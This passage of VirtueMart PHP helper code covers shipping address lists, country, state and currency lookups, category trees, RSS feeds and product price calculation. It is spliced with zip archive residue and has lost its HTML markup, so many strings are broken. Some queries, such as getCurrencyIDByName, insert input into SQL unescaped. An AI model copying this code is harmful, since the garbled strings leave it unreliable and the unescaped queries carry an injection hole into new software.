' . VmHTML::checkbox ($name, $obj->get ($name)) . ' ' . VmHTML::checkbox ($name . 'Text', $obj->get ($name . 'Text', 1)) . ' '; return $html; } /** * This generates the list when the user have different ST addresses saved * * @author Oscar van Eijk */ static function generateStAddressList ($view, $userModel, $task) { // Shipment address(es) $_addressList = $userModel->getUserAddressList ($userModel->getId (), 'ST'); if (count ($_addressList) == 1 && empty($_addressList[0]->address_type_name)) { return JText::_ ('COM_VIRTUEMART_USER_NOSHIPPINGADDR'); } else { $_shipTo = array(); $useXHTTML = empty($view->useXHTML) ? false : $view->useXHTML; $useSSL = empty($view->useSSL) ? FALSE : $view->useSSL; for ($_i = 0; $_i < count ($_addressList); $_i++) { if (empty($_addressList[$_i]->virtuemart_user_id)) { $_addressList[$_i]->virtuemart_user_id = JFactory::getUser ()->id; } if (empty($_addressList[$_i]->virtuemart_userinfo_id)) { $_addressList[$_i]->virtuemart_userinfo_id = 0; } if (empty($_addressList[$_i]->address_type_name)) { $_addressList[$_i]->address_type_name = 0; } $_shipTo[] = '
  3. ' . '' . $_addressList[$_i]->address_type_name . ' ' ; $_shipTo[] = '  '.JText::_('COM_VIRTUEMART_USER_DELETE_ST').'
  4. '; } $addLink = ' '; $addLink .= JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL') . ' '; return $addLink . '
      ' . join ('', $_shipTo) . '
    '; } } /** * used mostly in the email, to display the vendor address * Attention, this function will be removed from any view.html.php * * @static * @param $vendorId * @param string $lineSeparator * @param array $skips * @return string */ static public function renderVendorAddress ($vendorId,$lineSeparator="
    ", $skips = array('name','username','email','agreed')) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($vendorId); $vendorFields = $vendorModel->getVendorAddressFields($vendorId); $vendorAddress = ''; foreach ($vendorFields['fields'] as $field) { if(in_array($field['name'],$skips)) continue; if (!empty($field['value'])) { $vendorAddress .= $field['value']; if ($field['name'] != 'title' and $field['name'] != 'first_name' and $field['name'] != 'middle_name' and $field['name'] != 'zip') { $vendorAddress .= $lineSeparator; } else { $vendorAddress .= ' '; } } } return $vendorAddress; } public static $counter = 0; public static $categoryTree = 0; static public function categoryListTree ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { if (empty(self::$categoryTree)) { // vmTime('Start with categoryListTree'); $cache = JFactory::getCache ('com_virtuemart_cats'); $cached = $cache->getCaching(); $cache->setCaching (1); self::$categoryTree = $cache->call (array('ShopFunctions', 'categoryListTreeLoop'), $selectedCategories, $cid, $level, $disabledFields); $cache->setCaching ($cached); // self::$categoryTree = self::categoryListTreeLoop($selectedCategories, $cid, $level, $disabledFields); // vmTime('end loop categoryListTree '.self::$counter); } return self::$categoryTree; } /** * Get feed * @author valerie isaksen * @param $rssUrl * @param $max * @return mixed */ static public function getCPsRssFeed($rssUrl,$max) { $cache_time=86400*3; // 3days $cache = JFactory::getCache ('com_virtuemart_rss'); $cached = $cache->getCaching(); $cache->setLifeTime($cache_time); $cache->setCaching (1); $feeds = $cache->call (array('ShopFunctions', 'getRssFeed'), $rssUrl, $max); $cache->setCaching ($cached); return $feeds; } /** * @author Valerie Isaksen * Returns the RSS feed from Extensions.virtuemart.net * @return mixed */ public static $extFeeds = 0; static public function getExtensionsRssFeed() { if (empty(self::$extFeeds)) { self::$extFeeds = ShopFunctions::getCPsRssFeed("http://extensions.virtuemart.net/?format=feed&type=rss", 15); } return self::$extFeeds; } /** * @author Valerie Isaksen * Returns the RSS feed from virtuemart.net * @return mixed */ public static $vmFeeds = 0; static public function getVirtueMartRssFeed() { if (empty(self::$vmFeeds)) { self::$vmFeeds = ShopFunctions::getCPsRssFeed("http://virtuemart.net/news/list-all-news?format=feed&type=rss", 5); } return self::$vmFeeds; } static public function getRssFeed ($rssURL,$max) { jimport('simplepie.simplepie'); $rssFeed = new SimplePie($rssURL); $feeds = array(); $count = $rssFeed->get_item_quantity(); $limit=min($max,$count); for ($i = 0; $i < $limit; $i++) { $feed = new StdClass(); $item = $rssFeed->get_item($i); $feed->link = $item->get_link(); $feed->title = $item->get_title(); $feed->description = $item->get_description(); $feeds[] = $feed; } return $feeds; } /** * Creates structured option fields for all categories * * @todo: Connect to vendor data * @author Max Milbers, jseros * @param array $selectedCategories All category IDs that will be pre-selected * @param int $cid Internally used for recursion * @param int $level Internally used for recursion * @return string $category_tree HTML: Category tree list */ static public function categoryListTreeLoop ($selectedCategories = array(), $cid = 0, $level = 0, $disabledFields = array()) { self::$counter++; static $categoryTree = ''; $virtuemart_vendor_id = 1; // vmSetStartTime('getCategories'); $categoryModel = VmModel::getModel ('category'); $level++; $categoryModel->_noLimit = TRUE; $app = JFactory::getApplication (); $records = $categoryModel->getCategories ($app->isSite (), $cid); // vmTime('getCategories','getCategories'); $selected = ""; if (!empty($records)) { foreach ($records as $key => $category) { $childId = $category->category_child_id; if ($childId != $cid) { if (in_array ($childId, $selectedCategories)) { $selected = 'selected=\"selected\"'; } else { $selected = ''; } $disabled = ''; if (in_array ($childId, $disabledFields)) { $disabled = 'disabled="disabled"'; } if ($disabled != '' && stristr ($_SERVER['HTTP_USER_AGENT'], 'msie')) { //IE7 suffers from a bug, which makes disabled option fields selectable } else { $categoryTree .= ''; } } if ($categoryModel->hasChildren ($childId)) { self::categoryListTreeLoop ($selectedCategories, $childId, $level, $disabledFields); } } } return $categoryTree; } /** * Return the countryname or code of a given countryID * * @author Oscar van Eijk * @access public * @param int $id Country ID * @param char $fld Field to return: country_name (default), country_2_code or country_3_code. * @return string Country name or code */ static public function getCountryByID ($id, $fld = 'country_name') { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$id; $db->setQuery ($q); return $db->loadResult (); } /** * Return the virtuemart_country_id of a given country name * * @author Oscar van Eijk * @author Max Milbers * @access public * @param string $name Country name (can be country_name or country_3_code or country_2_code ) * @return int virtuemart_country_id */ static public function getCountryIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'country_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'country_3_code'; } else { $fieldname = 'country_name'; } } $q = 'SELECT `virtuemart_country_id` FROM `#__virtuemart_countries` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /** * Return the statename or code of a given virtuemart_state_id * * @author Oscar van Eijk * @access public * @param int $id State ID * @param char $fld Field to return: state_name (default), state_2_code or state_3_code. * @return string state name or code */ static public function getStateByID ($id, $fld = 'state_name') { if (empty($id)) { return ''; } $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_states` WHERE virtuemart_state_id = "' . (int)$id . '"'; $db->setQuery ($q); $r = $db->loadObject (); return $r->fld; } /** * Return the stateID of a given state name * * @author Max Milbers * @access public * @param string $name Country name * @return int virtuemart_state_id */ static public function getStateIDByName ($name) { if (empty($name)) { return 0; } $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'state_2_code'; } else { if (strlen ($name) === 3) { $fieldname = 'state_3_code'; } else { $fieldname = 'state_name'; } } $q = 'SELECT `virtuemart_state_id` FROM `#__virtuemart_states` WHERE `' . $fieldname . '` = "' . $db->getEscaped ($name) . '"'; $db->setQuery ($q); $r = $db->loadResult (); return $r; } /* * Returns the associative array for a given virtuemart_calc_id * * @author Valérie Isaksen * @access public * @param int $id virtuemart_calc_id * @return array Result row */ static public function getTaxByID ($id) { if (empty($id)) { return ''; } $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE virtuemart_calc_id = ' . (int)$id; $db->setQuery ($q); return $db->loadAssoc (); } /** * Return any field from table '#__virtuemart_currencies' * * @author Valérie Isaksen * @access public * @param int $id Currency ID * @param char $fld Field from table '#__virtuemart_currencies' to return: currency_name (default), currency_code_2, currency_code_3 etc. * @return string Currency name or code */ static public function getCurrencyByID ($id, $fld = 'currency_name') { if (empty($id)) { return ''; } static $currencyNameById = array(); if(!isset($currencyNameById[$id][$fld])){ $id = (int)$id; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fld) . ' AS fld FROM `#__virtuemart_currencies` WHERE virtuemart_currency_id = ' . (int)$id; $db->setQuery ($q); $currencyNameById[$id][$fld] = $db->loadResult (); } return $currencyNameById[$id][$fld]; } /** * Return the currencyID of a given Currency name * This function becomes dangerous if there is a currency name with 3 letters * @author Valerie Isaksen, Max Milbers * @access public * @param string $name Currency name * @return int virtuemart_currency_id */ static public function getCurrencyIDByName ($name) { if (empty($name)) { return 0; } static $currencyIdByName = array(); if(!isset($currencyIdByName[$name])){ $db = JFactory::getDBO (); if (strlen ($name) === 2) { $fieldname = 'currency_code_2'; } else { if (strlen ($name) === 3) { $fieldname = 'currency_code_3'; } else { $fieldname = 'currency_name'; } } $q = 'SELECT `virtuemart_currency_id` FROM `#__virtuemart_currencies` WHERE `' . $fieldname . '` = "' . ($name) . '"'; $db->setQuery ($q); $currencyIdByName[$name] = $db->loadResult (); } return $currencyIdByName[$name]; } /** * Print a select-list with enumerated categories * * @author jseros * * @param boolean $onlyPublished Show only published categories? * @param boolean $withParentId Keep in mind $parentId param? * @param integer $parentId Show only its childs * @param string $attribs HTML attributes for the list * @return string " . ""; $html[] = $tmp; } return $html; } function checkboxList ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $required = 0) { return "\n\t" . implode ("\n\t", vmCommonHTML::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required)) . "\n"; } function checkboxListTable ($arr, $tag_name, $tag_attribs, $key = 'value', $text = 'text', $selected = NULL, $cols = 0, $rows = 0, $size = 0, $required = 0) { $cellsHtml = self::checkboxListArr ($arr, $tag_name, $tag_attribs, $key, $text, $selected, $required); return self::list2Table ($cellsHtml, $cols, $rows, $size); } // private methods: private function list2Table ($cellsHtml, $cols, $rows, $size) { $cells = count ($cellsHtml); if ($size == 0) { $localstyle = ""; //" style='width:100%'"; } else { $size = (($size - ($size % 3)) / 3) * 2; // int div 3 * 2 width/heigh ratio $localstyle = " style='width:" . $size . "em;'"; } $return = ""; if ($cells) { if ($rows) { $return = "\n\t"; $cols = ($cells - ($cells % $rows)) / $rows; // int div if ($cells % $rows) { $cols++; } $lineIdx = 0; for ($lineIdx = 0; $lineIdx < min ($rows, $cells); $lineIdx++) { $return .= "\n\t\t"; for ($i = $lineIdx; $i < $cells; $i += $rows) { $return .= ""; } $return .= "\n"; } $return .= "\t
    " . $cellsHtml[$i] . "
    \n"; } else { if ($cols) { $return = "\n\t"; $idx = 0; while ($cells) { $return .= "\n\t\t"; for ($i = 0, $n = min ($cells, $cols); $i < $n; $i++, $cells--) { $return .= ""; } $return .= "\n"; } $return .= "\t
    " . $cellsHtml[$idx++] . "
    \n"; } else { $return = "\n\t" . implode ("\n\t ", $cellsHtml) . "\n"; } } } return $return; } /** * Return $str with all but $display_length at the end as asterisks. * * @author gday * * @access public * @param string $str The string to mask * @param int $display_length The length at the end of the string that is NOT masked * @param boolean $reversed When true, masks the end. Masks from the beginning at default * @return string The string masked by asteriks */ public function asteriskPad ($str, $display_length, $reversed = FALSE) { $total_length = strlen ($str); if ($total_length > $display_length) { if (!$reversed) { for ($i = 0; $i < $total_length - $display_length; $i++) { $str[$i] = "*"; } } else { for ($i = $total_length - 1; $i >= $total_length - $display_length; $i--) { $str[$i] = "*"; } } } return ($str); } /** * Return the icon to move an item UP * * @access public * @param int $i The row index * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item up or a space * @since 1.0 */ function orderUpIcon ($i, $condition = TRUE, $task = 'orderup', $alt = 'COM_VIRTUEMART_MOVE_UP', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i > 0) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } /** * Return the icon to move an item DOWN * * @access public * @param int $i The row index * @param int $n The number of items in the list * @param boolean $condition True to show the icon * @param string $task The task to fire * @param string $alt The image alternate text string * @return string Either the icon to move an item down or a space * @since 1.0 */ function orderDownIcon ($i, $n, $condition = TRUE, $task = 'orderdown', $alt = 'Move Down', $enabled = TRUE) { $alt = JText::_ ($alt); $html = ' '; if ($i < $n - 1) { if ($enabled) { $html = ''; $html .= ' ' . $alt . ''; $html .= ''; } else { $html = '' . $alt . ''; } } return $html; } static function getValidProductFilterArray () { static $filterArray; if (!isset($filterArray)) { /* $filterArray = array('p.virtuemart_product_id', 'p.product_sku','pp.product_price','c.category_name','c.category_description', 'm.mf_name', 'l.product_s_desc', 'p.product_desc', 'p.product_weight', 'p.product_weight_uom', 'p.product_length', 'p.product_width', 'p.product_height', 'p.product_lwh_uom', 'p.product_in_stock', 'p.low_stock_notification', 'p.product_available_date', 'p.product_availability', 'p.product_special', 'p.created_on', 'p.modified_on', 'l.product_name', 'p.product_sales', 'p.product_unit', 'p.product_packaging', 'p.intnotes', 'l.metadesc', 'l.metakey', 'p.metarobot', 'p.metaauthor'); } */ $filterArray = array('product_name', '`p`.created_on', '`p`.product_sku', 'product_s_desc', 'product_desc','`l`.slug', 'category_name', 'category_description', 'mf_name', 'product_price', '`p`.product_special', '`p`.product_sales', '`p`.product_availability', '`p`.product_available_date', '`p`.product_height', '`p`.product_width', '`p`.product_length', '`p`.product_lwh_uom', '`p`.product_weight', '`p`.product_weight_uom', '`p`.product_in_stock', '`p`.low_stock_notification', '`p`.modified_on', '`p`.product_unit', '`p`.product_packaging', '`p`.virtuemart_product_id', 'pc.ordering'); //other possible fields //'p.intnotes', this is maybe interesting, but then only for admins or special shoppergroups // this fields leads to trouble, because we have this fields in product, category and manufacturer, // they are anyway making not a lot sense for orderby or search. //'l.metadesc', 'l.metakey', 'l.metarobot', 'l.metaauthor' } return $filterArray; } /** * Returns developer information for a plugin * Returns a 2 link with background image, should look like a button to open contact page or manual * * @static * @param $title string Title of the plugin * @param $intro string Intro text * @param $logolink url Url to logo images, use here the path and then as image names contact.png and manual.png * @param $developer string Name of the developer/company * @param $contactlink url Url to the contact form of the developer for support * @param $manlink url URL to the manual for this specific plugin * @return string */ static function display3rdInfo($title,$intro,$developer,$logolink,$contactlink,$manlink,$width='96px',$height='66px',$linesHeight='33px'){ $html = $intro; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_CONTACT',$developer),$contactlink, $logolink.'/contact.png',$width,$height,$linesHeight); $html .='
    '; $html .= self::displayLinkButton(JText::sprintf('COM_VIRTUEMART_THRD_PARTY_MANUAL',$title),$manlink, $logolink.'/manual.png',$width,$height,$linesHeight); return $html; } static function displayLinkButton($title, $link, $bgrndImage,$width,$height,$linesHeight,$additionalStyles=''){ //$lineHeight = ((int)$height)/$lines; //vmdebug('displayLinkButton '.$height.' '.$lineHeight); $html = ''; return $html; } static $tested = False; static function checkSafePath($safePath=0){ if($safePath==0) { $safePath = VmConfig::get('forSale_path',0); if(self::$tested) return $safePath; } $warn = FALSE; $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; VmConfig::loadJLang('com_virtuemart'); if(empty($safePath)){ $warn = 'COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET'; } else { $exists = JFolder::exists($safePath); if(!$exists){ $warn = 'COM_VIRTUEMART_WARN_SAFE_PATH_WRONG'; } else{ if(!is_writable( $safePath )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } else { if(!is_writable(self::getInvoicePath($safePath) )){ VmConfig::loadJLang('com_virtuemart_config'); VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$safePath,$configlink); } } } } if($warn){ $suggestedPath=shopFunctions::getSuggestedSafePath(); VmConfig::loadJLang('com_virtuemart_config'); VmWarn($warn,JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'),$suggestedPath,$configlink); return FALSE; } return $safePath; } /* * get The invoice Folder Name * @return the invoice folder name */ static function getInvoiceFolderName() { return 'invoices' ; } /* * get The invoice path * @param $safePath the safepath from the config * @return the path where the invoice are stored */ static function getInvoicePath($safePath) { return $safePath.self::getInvoiceFolderName() ; } /* * Returns the suggested safe Path, used to store the invoices * @static * @return string: suggested safe path */ static public function getSuggestedSafePath() { $lastIndex= strrpos(JPATH_ROOT,DS); return substr(JPATH_ROOT,0,$lastIndex).DS.'vmfiles'; } /* * @author Valerie Isaksen */ static public function renderProductShopperList ($productShoppers) { $html = ''; $i=0; if(empty($productShoppers)) return ''; foreach ($productShoppers as $email => $productShopper) { $html .= ' ' . $productShopper['name'] . ' ' . $productShopper['email'] . ' ' . $productShopper['phone'] . ''; $first=TRUE; foreach ($productShopper['order_info'] as $order_info) { if (!$first) $html .= ''; $html .= ''; $html .= $order_info['quantity']; $html .= ''; $html .= ''; $html .= JText::_($order_info['order_item_status_name']); $html .= ' '; $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $order_info['order_id']; $html .= JHTML::_ ('link', $link, $order_info['order_number'], array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order_info['order_number'])); $first=FALSE; $html .= ' '; } $i = 1 - $i; } if (empty($html)) { $html = ' ' . JText::_ ('COM_VIRTUEMART_NO_SEARCH_RESULT') . ' '; } return $html; } static public function renderMetaEdit($obj){ $options = array( '' => JText::_('JGLOBAL_INDEX_FOLLOW'), 'noindex, follow' => JText::_('JGLOBAL_NOINDEX_FOLLOW'), 'index, nofollow' => JText::_('JGLOBAL_INDEX_NOFOLLOW'), 'noindex, nofollow' => JText::_('JGLOBAL_NOINDEX_NOFOLLOW'), 'noodp, noydir' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR'), 'noodp, noydir, nofollow' => JText::_('COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW'), ); $html = ' '.VmHTML::row('input','COM_VIRTUEMART_CUSTOM_PAGE_TITLE','customtitle',$obj->customtitle).' '.VmHTML::row('textarea','COM_VIRTUEMART_METAKEY','metakey',$obj->metakey,'class="inputbox"',80).' '.VmHTML::row('textarea','COM_VIRTUEMART_METADESC','metadesc',$obj->metadesc,'class="inputbox"',80).' '.VmHtml::row('selectList','COM_VIRTUEMART_METAROBOTS','metarobot',$obj->metarobot,$options).' '.VmHTML::row('input','COM_VIRTUEMART_METAAUTHOR','metaauthor',$obj->metaauthor).'
    '; return $html; } } //pure php no tag PKB\v  helpers/vmtabledata.phpnuW+AsetLoggableFieldsForStore(); $this->storeParams(); $tblKey = $this->_tbl_key; $pKey = $this->_pkey; if($tblKey == $pKey){ $res = false; if(!empty($this->$tblKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_tbl_key.'` = "' . $this->$tblKey.'" '; $this->_db->setQuery($_qry); $res = $this->_db->loadResult(); } if($res){ $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } else { if(!empty($this->$pKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_pkey.'` = "' . $this->$pKey.'" '; $this->_db->setQuery($_qry); //Yes, overwriting $this->$tblKey is correct ! $this->$tblKey = $this->_db->loadResult(); } if ( !empty($this->$tblKey) ) { $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } // vmdebug('$_qry',$_qry,$pKey,$tblKey, $this->$tblKey); // vmError($_qry,'$_qry'); if (!$returnCode) { vmError(get_class($this) . '::store failed - ' . $this->_db->getErrorMsg()); return false; } else return true; } }PKB\x.helpers/calculationh.phpnuW+A_db = JFactory::getDBO(); $this->_app = JFactory::getApplication(); //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); $this->_nullDate = $this->_db->getNullDate(); //Attention, this is set to the mainvendor atm. //This means also that atm for multivendor, every vendor must use the shopcurrency as default // $this->vendorCurrency = 1; $this->productVendorId = 1; if (!class_exists('CurrencyDisplay') )require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $this->_currencyDisplay = CurrencyDisplay::getInstance(); $this->_debug = false; if(!empty($this->_currencyDisplay->_vendorCurrency)){ $this->vendorCurrency = $this->_currencyDisplay->_vendorCurrency; $this->vendorCurrency_code_3 = $this->_currencyDisplay->_vendorCurrency_code_3; $this->vendorCurrency_numeric = $this->_currencyDisplay->_vendorCurrency_numeric; } /* else if(VmConfig::get('multix','none')!='none'){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="1" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; }*/ $this->setShopperGroupIds(); $this->setVendorId($this->productVendorId); $this->rules['Marge'] = array(); $this->rules['Tax'] = array(); $this->rules['VatTax'] = array(); $this->rules['DBTax'] = array(); $this->rules['DATax'] = array(); //round only with internal digits $this->_roundindig = VmConfig::get('roundindig',FALSE); } static public function getInstance() { if (!is_object(self::$_instance)) { self::$_instance = new calculationHelper(); } else { //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); self::$_instance->_now = $jnow->toMySQL(); } return self::$_instance; } public function setVendorCurrency($id) { $this->vendorCurrency = $id; } //static $allrules= array(); var $allrules= array(); public function setVendorId($id){ $this->productVendorId = $id; //vmdebug('setVendorId $allrules '.$this->productVendorId,count($this->allrules)); if(empty($this->allrules[$this->productVendorId])){ $epoints = array("'Marge'","'Tax'","'VatTax'","'DBTax'","'DATax'"); $this->allrules[$this->productVendorId]['Marge'] = array(); $this->allrules[$this->productVendorId]['Tax'] = array(); $this->allrules[$this->productVendorId]['VatTax'] = array(); $this->allrules[$this->productVendorId]['DBTax'] = array(); $this->allrules[$this->productVendorId]['DATax'] = array(); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind` IN (' . implode(",",$epoints). ' ) AND `published`="1" AND (`virtuemart_vendor_id`="' . $this->productVendorId . '" OR `shared`="1" ) AND ( ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) OR `for_override` = "1" )'; $this->_db->setQuery($q); $allrules = $this->_db->loadAssocList(); //By Maik, key of array is directly virtuemart_calc_id foreach ($allrules as $rule){ $this->allrules[$this->productVendorId][$rule["calc_kind"]][$rule["virtuemart_calc_id"]] = $rule; } } } public function getCartPrices() { return $this->_cartPrices; } public function setCartPrices($cartPrices) { $this->_cartPrices = $cartPrices; } public function setCartPricesMerge($cartPrices){ foreach($cartPrices as $k=>$item){ if($k===0) { vmdebug('setCartPricesMerge k === 0 ? item ',$item); continue; } if(isset($this->_cartPrices[$k]) and is_array($this->_cartPrices[$k])){ $this->_cartPrices[$k] = array_merge($this->_cartPrices[$k],$item); } else { $this->_cartPrices[$k] = $item; } } } public function getCartData() { return $this->_cartData; } protected function setShopperGroupIds($shopperGroupIds=0, $vendorId=1) { if (!empty($shopperGroupIds)) { $this->_shopperGroupId = $shopperGroupIds; } else { $user = JFactory::getUser(); $this->_shopperGroupId = array(); if (!empty($user->id)) { $this->_db->setQuery('SELECT `usgr`.`virtuemart_shoppergroup_id` FROM #__virtuemart_vmuser_shoppergroups as `usgr` JOIN `#__virtuemart_shoppergroups` as `sg` ON (`usgr`.`virtuemart_shoppergroup_id`=`sg`.`virtuemart_shoppergroup_id`) WHERE `usgr`.`virtuemart_user_id`="' . $user->id . '" AND `sg`.`virtuemart_vendor_id`="' . (int) $vendorId . '" '); $this->_shopperGroupId = $this->_db->loadResultArray(); if (empty($this->_shopperGroupId)) { $this->_db->setQuery('SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shoppergroups WHERE `default`="'.($user->guest+1).'" AND `virtuemart_vendor_id`="' . (int) $vendorId . '"'); $this->_shopperGroupId = $this->_db->loadResultArray(); } } if(!$this->_shopperGroupId) $this->_shopperGroupId = array(); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); $shoppergroupmodel->appendShopperGroups($this->_shopperGroupId,$user,$site,$vendorId); } } protected function setCountryState($cart=0) { if ($this->_app->isAdmin()) return; if (empty($cart)) { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); } $this->_cart = $cart; $stBased = VmConfig::get('taxSTbased',TRUE); if ($stBased and !empty($this->_cart->ST['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->ST['virtuemart_country_id']; } else if (!empty($this->_cart->BT['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->BT['virtuemart_country_id']; } if ($stBased and !empty($this->_cart->ST['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->ST['virtuemart_state_id']; } else if (!empty($cart->BT['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->BT['virtuemart_state_id']; } //vmdebug('setCountryState state '.$this->_deliveryState,$this->_cart->BT); } /** function to start the calculation, here it is for the product * * The function first gathers the information of the product (maybe better done with using the model) * After that the function gatherEffectingRulesForProductPrice writes the queries and gets the ids of the rules which affect the product * The function executeCalculation makes the actual calculation according to the rules * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $product The product * @param int $catIds When the category is already determined, then it makes sense to pass it, if not the function does it for you * @return int $prices An array of the prices * 'basePrice' basePrice calculated in the shopcurrency * 'basePriceWithTax' basePrice with Tax * 'discountedPrice' before Tax * 'priceWithoutTax' price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax * 'discountAmount' the "you save X money" * 'salesPrice' The final price, with all kind of discounts and Tax, except stuff that is only in the checkout * */ public function getProductPrices($product, $variant=0.0, $amount=0, $ignoreAmount=true, $currencydisplay=true) { $costPrice = 0; //We already have the productobject, no need for extra sql if (is_object($product)) { $costPrice = isset($product->product_price)? $product->product_price:0; $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $override = isset($product->override)? $product->override:0; $product_override_price = isset($product->product_override_price)? $product->product_override_price:0; $this->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $this->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $productVendorId = !empty($product->virtuemart_vendor_id)? $product->virtuemart_vendor_id:1; $this->setVendorId($productVendorId); $this->_cats = $product->categories; $this->_product = $product; $this->_product->amount = $amount; $this->productPrices = array(); if(!isset($this->_product->quantity)) $this->_product->quantity = 1; $this->_manufacturerId = !empty($product->virtuemart_manufacturer_id) ? $product->virtuemart_manufacturer_id:0; } //Use it as productId else { vmError('getProductPrices no object given query time','getProductPrices no object given query time'); } if(VmConfig::get('multix','none')!='none' and (empty($this->vendorCurrency) or $this->vendorCurrency!=$this->productVendorId)){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } $this->setCountryState($this->_cart); //For Profit, margin, and so on $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->productPrices['costPrice'] = $costPrice; $basePriceShopCurrency = $this->roundInternal($this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $costPrice,true)); //vmdebug('my pure $basePriceShopCurrency',$costPrice,$this->productCurrency,$basePriceShopCurrency); $basePriceMargin = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceShopCurrency)); $this->basePrice = $basePriceShopCurrency = $this->productPrices['basePrice'] = !empty($basePriceMargin) ? $basePriceMargin : $basePriceShopCurrency; if (!empty($variant)) { $basePriceShopCurrency = $basePriceShopCurrency + doubleval($variant); $this->productPrices['basePrice'] = $this->productPrices['basePriceVariant'] = $basePriceShopCurrency; } if (empty($this->productPrices['basePrice'])) { return $this->fillVoidPrices($this->productPrices); } if (empty($this->productPrices['basePriceVariant'])) { $this->productPrices['basePriceVariant'] = $this->productPrices['basePrice']; } $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $this->productPrices['basePrice'], true),'basePriceWithTax'); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); if(!empty($this->rules['VatTax'])){ $price = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $price,true),'basePriceWithTax'); } $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); 